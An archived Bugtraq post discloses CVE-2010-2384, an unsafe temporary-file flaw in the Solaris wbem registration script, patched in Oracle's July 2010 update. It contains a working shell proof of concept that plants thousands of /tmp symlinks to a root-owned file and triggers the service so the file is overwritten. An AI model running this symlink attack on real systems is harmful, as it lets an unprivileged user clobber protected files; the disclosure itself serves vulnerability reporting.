bugtraq - CVE-2010-2384: Solaris wbem unsafe use of temporary files

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 19 Jul 2010 21:38:54 -0500
From: Frank Stuart <fstuart@...uart.com>
To: bugtraq@...urityfocus.com
Subject: CVE-2010-2384:  Solaris wbem unsafe use of temporary files

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Below is the full disclosure information for CVE-2010-2384.  It was
reported to security-alert@....com on 3 January, 2010 and assigned Sun
bug 6913886.

This vulnerability was addressed by Sun/Oracle in the July 2010 Critical
Patch Update
(http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2010.html).

- ------

When the wbem service is enabled
but hasn't been used before, it will run
/usr/sadm/lib/smc/prereg/SUNWrmui/SUNWrmui_reg.sh which can be exploited
by an unprivileged local user like this:

   $ id
   uid=101(fstuart) gid=14(sysadmin)
   $ cd /tmp
   $ x=0
   $ while [ "$x" -ne 30000 ] ;do
   > ln -s /etc/important /tmp/dummy.$x
   > x=$(expr "$x" + 1)
   > done
   $ ls -dl /etc/important
   -rw-r--r--   1 root     root          38 Jan  3 22:43 /etc/important
   $ cat /etc/important
      This is an important file!

      EOF
  $ telnet localhost 898
   Trying 127.0.0.1...
   Connected to localhost.
   Escape character is '^]'.



   ^]
   telnet> quit
   Connection to localhost closed.
   $ cat /etc/important
   /<\/Scope>/ {
   n
   i\
     <Folder TreeDisplay="false"> \
       <Name>SUNWrmui Bootstrap Folder</Name> \
       <Description>This a temporary folder to workaround a bug.  It
should be deleted during install.  But if you do see it in the toolbox
editor, do NOT delete it.</Description> \
       <Icon>status_16.gif</Icon> \
       <LargeIcon>status_32.gif</LargeIcon> \
     </Folder>
   }

SUNWrmui_reg.sh also uses /tmp/this_computer.$$ which can also be
exploited.

- ------

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEVAwUBTEUMPmKGA6cQSpZSAQJXogf+PNSJwfSchgycCWHVpqknVm4KKJ1s/m0y
SWmbzxkoTuKR3hrW7cAPbUb2RHU92Ew587/uPIXhpUCaTrYImJUU9EYHoo132ZpL
KNEXQeqzMi2qaxQU6mkQBEA9Qc3VDh0kDcbDPjPJKShqb2k84CBq6ni39vb1zRlY
SVMldGCS5XflnjtINiwzdmnjNCVkMT4wtuFo3f2GhZaNKEOAKr2LVZT1KkYA6fmY
a6E5XFisQPBbVSPhN82ed7v73GTe5o09SDN3bHozV7x2ki4vxjCFau/hGG/NVNVD
NddIRtqVu8uodrI5hyt1gNXtTV9rT40GiAyOA1iuQHM7FmB8SXKI8w==
=8592
-----END PGP SIGNATURE-----

View attachment "fstuart.vcf" of type "text/x-vcard" (263 bytes)